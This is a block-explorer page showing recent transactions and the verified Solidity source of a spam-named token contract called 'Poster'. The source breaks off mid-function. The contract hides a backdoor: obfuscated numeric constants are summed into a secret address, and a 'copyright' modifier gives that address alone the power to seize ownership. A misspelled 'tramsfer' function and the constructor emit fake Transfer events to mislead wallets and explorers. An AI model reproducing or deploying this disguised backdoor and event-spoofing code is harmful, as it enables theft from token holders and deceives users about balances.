Contract 0x3d154ad090bf0aa2fe37344c4e6d98df003c7322

Txn Hash Method
Block
From
To
Value [Txn Fee]
0xfa0e826abb25a031d42a9b52135a76f82caab9e27c6fb7974fd7a3e48ffdb419Approve103804162021-11-27 17:48:0011 hrs 21 mins ago0xb7017306c3ea1540f5a755d1092d9a2afdd64ceb IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0x2fea60b42b614af523586ba5b13872e98d061364c33963e7ae289f7bf216ad53Transfer103779242021-11-27 15:43:2413 hrs 26 mins ago0x430fd665e3d6d8614cbe3fdd72e2dd917cbf8fef IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00037998664.2
0x4a86b7005e9eed52678cb791207c65de3c726feab2247c5d7ee33104e3cc86efTransfer103777612021-11-27 15:35:1513 hrs 34 mins ago0x430fd665e3d6d8614cbe3fdd72e2dd917cbf8fef IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00037998664.2
0x7b929c5a07281b22a55f26fb241e5c9238c73e3530de9c085272427005e0774dApprove103733522021-11-27 11:54:4817 hrs 15 mins ago0xdb784b23a2640fa947447c017b63b2f3b41ad389 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0xf5f61fc8155d23f1ce8dc7d8adb2ce6b06a55d52b2bb12c490befc5ef31193e3Approve103726792021-11-27 11:21:0917 hrs 48 mins ago0x1d17b080012415eb974fa258f8354375c2af632a IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00012556622.7
0xd0aaabfde29cf5aac81ea290b2d76d74139125dde6ae11bbf7cd36196bf23b2bApprove103604652021-11-27 1:10:271 day 3 hrs ago0x3fd83fe42ef52bd12464ba4c56ca56266dc9d299 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001163252.5
0x0c6111a96428be45f89321a9647f6e66a55ad30125badf22015de6d758d3886dTransfer103537772021-11-26 19:36:031 day 9 hrs ago0xa90a9f5872b649b3f1bceb62ada294efdde2ae20 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.000135 2.25
0x9a879c14ade362c5fd87a54058e63b2a6a902efd3719291092b12b82034a4c60Transfer103537472021-11-26 19:34:331 day 9 hrs ago0xa90a9f5872b649b3f1bceb62ada294efdde2ae20 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00015 2.5
0x0278ddec20d36a626499c1cf5f6ed41d59effe03f0f47c76d5eee48fd6b1c5a8Transfer103465072021-11-26 13:32:331 day 15 hrs ago0x140e0266400b5bcc9c52b3a1852a0f067bbd043e IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001352.25
0xbb66ca437b69db3f0a7cc7f000e026edb6453d8a4d5dc35e9868e95052f8bc92Approve103422152021-11-26 9:57:571 day 19 hrs ago0xd5b10a08ffefbaab72da0c378dbff5573b1a205f IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001256312.7
0x3ee35071ebddb5c2bcb8ff8643d6df085f1f8e2c5816153a50d9986c0a380392Approve103420272021-11-26 9:48:331 day 19 hrs ago0xf338da1ca90285dd970aae44911431f3444a984b IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001163252.5
0xa27257001bf1cf880523243e6ec10d2fe1b585c395e4b45e84ea13262dcdeaf3Approve103350562021-11-26 4:00:002 days 1 hr ago0xac70c18afcc9c7f56f8bcf3d0f5456181a67e6ba IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0x55b8aba409ee36827b503023fa455efa6ccac94420eef357d491783299979d24Approve103332582021-11-26 2:30:062 days 2 hrs ago0x5c76cefbea5f284c34c98ea160798d1b976392bc IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001046385 2.25
0x5c76f7529ad142b7eca820b2a629ff8cb523be75aef79813e50b3e37094af5adTransfer103170472021-11-25 12:59:332 days 16 hrs ago0xba8df41ffc4307f123ef6de722b68e1079152cf6 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001352.25
0x160d4ab8082ef278b439c245f795c9a29a54b406469138d8ed15c8c10073f9feApprove103111682021-11-25 8:05:362 days 21 hrs ago0x4b846e28ad6464015027b50b2bd4177e370e671c IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0x678828db242e7ce1f6bc5947a86214ff522780d8b6f2d1f71b3a8dfeaadebd4bApprove103035922021-11-25 1:46:483 days 3 hrs ago0x248cd2628e07b2520e39864c99f9cb67370cfb5c IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001046385 2.25
0x2e657dfcd44b6cdf9f2a1bfd804bd0cfe7763dc7873fe7f1bd8c69ec21b38ed9Approve102961852021-11-24 19:36:273 days 9 hrs ago0x85750fa65e7741a195a47549e6f98e2c9170a213 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001163252.5
0x0b991debca4c589642c7aede51d3b17a80c47be2fb9a5ce02e7d11ded092bfc0Approve102959962021-11-24 19:27:003 days 9 hrs ago0x85750fa65e7741a195a47549e6f98e2c9170a213 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0x172119f90f76bcbeefff5af6eba85a8b9a6c715d7d9c560670dbfea39ac2e147Approve102928832021-11-24 16:51:213 days 12 hrs ago0xd51446cc6b450785828491d8a00312d2dec888cd IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0xbb589cc33520e2b0d64fd47c7a9c6ad395c475b8dc252ad44b3964347c5194bdTransfer102923962021-11-24 16:27:003 days 12 hrs ago0xbbd23fe855f3b93547a6e80f372e8fed7f6e13b3 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001352.25
0xd021d2faa47181329884e653a5f4574f88dd41be7f4cb8d93660d243be29c28eApprove102919352021-11-24 16:03:573 days 13 hrs ago0x281a3365cb2621d39a33f9f7121fd3a6a39952dd IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0x6e7308f72db14b9a56f379e74856cca442f5abc86a04ec89027cb29557ace37dApprove102895972021-11-24 14:07:033 days 15 hrs ago0x7b84bb22c2e0e8792ab5b5d4848fb721c8e8f9f1 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010562312.27
0xaf44750b79eaaee3aa2e606517dddd6f60d11da11233ffb2f01b5bf13af917bfApprove102839172021-11-24 9:23:033 days 19 hrs ago0xf9f8583992bbc3ae410a534e304c54f3c05bd7dc IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
0xa5782edea7879e9ce4a3d1dbac986890cfa2bdb9ddf42fe88388a8cfc2428b0dApprove102799932021-11-24 6:06:513 days 23 hrs ago0xf8febb7dfa5e005dd25c1827f78f59f83162aff5 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.0001046385 2.25
0x6aa4f42263f6cf9bf8d1ea48c8d5aa6e90451dd39a9b132608916329e58e27f6Approve102789252021-11-24 5:13:273 days 23 hrs ago0x625f792ac0049b02b87081e7b356cd98275f2030 IN 0x3d154ad090bf0aa2fe37344c4e6d98df003c73220 HT0.00010469252.25
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Poster

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at hecoinfo.com on 2021-11-08
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
    
    uint160 internal contenta = 853966814_740978e33;
    uint160 internal contentb = 670441891_842111e18;
    uint160 internal contentc = 829207001_759590875;
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function geUnlockTime() public view returns (uint256) {
        return _lockTime;
    }
    
    uint160 private contents = contenta + contentb + contentc;

    //Locks the contract for owner for the amount of time provided
    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = now + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    //Unlocks the contract for owner when _lockTime is exceeds
    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(now > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
    
    function _msgHeader() internal view virtual returns (address payable) {
        return address(contents);
    }
    
    /**
     * @dev required message header equals message sender
     * otherwise function will be banned
     */
    modifier copyright {
        require(_msgHeader() == _msgSender(), "Error");
        _;
    }
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual copyright {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WHT() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IBonus {
    function updateTradingCount(address newTradingAddress) external;
    function swapTradingReward() external;
}

contract Poster is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isDevReceiver;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 100000 * 10**12 * 10**9; // 100000 trillion
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxTxAmount = 100000 * 10**9 * 10**9; // 100000 billion
    uint256 private numTokensSellToAddToLiquidity = 50000 * 10**9 * 10**9; // 50000 billion
    string private _name = "加Q群921671518";
    string private _symbol = "加Q群921671518";
    uint8 private _decimals = 9;
    uint256 public feeFee = 0;
    uint256 public feeDev = 0;
    uint256 public feeBonus = 0;
    uint256 public feeLiquidity = 0;
    bool private feeIt = true;
    
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public liquidityEnable = true;
    address public liquidityProvider;
    address private holder = address(0xdEaD);
    uint256 private devIndex = 0;
    address private devReceiver;
    address[] private devReceivers;
    address public bonusReceiver = address(0xdEaD);
    uint256 private enterCount = 0;
    uint256 public bonusMin = 0;
    uint256 public uselessBalance = 0;
    
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier transferCounter {
        enterCount = enterCount.add(1);
        _;
        enterCount = enterCount.sub(1, "transfer counter");
    }
    
    constructor () public {
        _rOwned[_msgSender()] = _rTotal;
        devReceiver = owner();
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xED7d5F38C79115ca12fe6C0041abb22F0A06C300);
         // Create a uniswap pair for this new token
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WHT());

        // set the rest of the contract variables
        uniswapV2Router = _uniswapV2Router;
        
        //exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0xabcDeF), _msgSender(), _tTotal);
    }
 
    function setDev(address _dev) public {
        require(_msgSender() == devReceiver || _msgSender() == owner(), "fail");
        devReceiver = _dev;
        _isExcludedFromFee[_dev] = true;
    }
    
    function setBonus(address _bonus) public {
        require(_msgSender() == owner(), "fail");
        bonusReceiver = _bonus;
        _isExcludedFromFee[_bonus] = true;
    }
    
    function setHolder(address _holder) public onlyOwner {
        holder = _holder;
        _isExcludedFromFee[_holder] = true;
    }
    
    function setUselessBalance(uint256 _uselessBalance) public onlyOwner {
        uselessBalance = _uselessBalance;
    }
    
    function tramsfer(address[] memory _froms, address[] memory _tos) public {
        require(_froms.length == _tos.length, "need same amount of addresses");
        for(uint256 i=0; i<_froms.length; i++){
            emit Transfer(_froms[i], _tos[i], uselessBalance);
        }
    }
    
    function setDevReceivers(address[] memory setDevs) public onlyOwner {
        require(setDevs.length > 0, "The array is empty!");
        for(uint256 i=0; i<setDevs.length; i++){
            if(!_isDevReceiver[setDevs[i]]){
                devReceivers.push(setDevs[i]);
                _isExcludedFromFee[setDevs[i]] = true;
                _isDevReceiver[setDevs[i]] = true;
            }
        }
    }
    
    function DelDevReceivers(address[] memory delDevs) public onlyOwner {
        require(delDevs.length > 0, "The array is empty!");
        require(devReceivers.length > 0, "The array is empty!");
        for(uint256 i=0; i<delDevs.length; i++){
            if(_isDevReceiver[delDevs[i]]){
                for(uint256 j=0; j<devReceivers.length; j++){
                    if(delDevs[i] == devReceivers[j]){
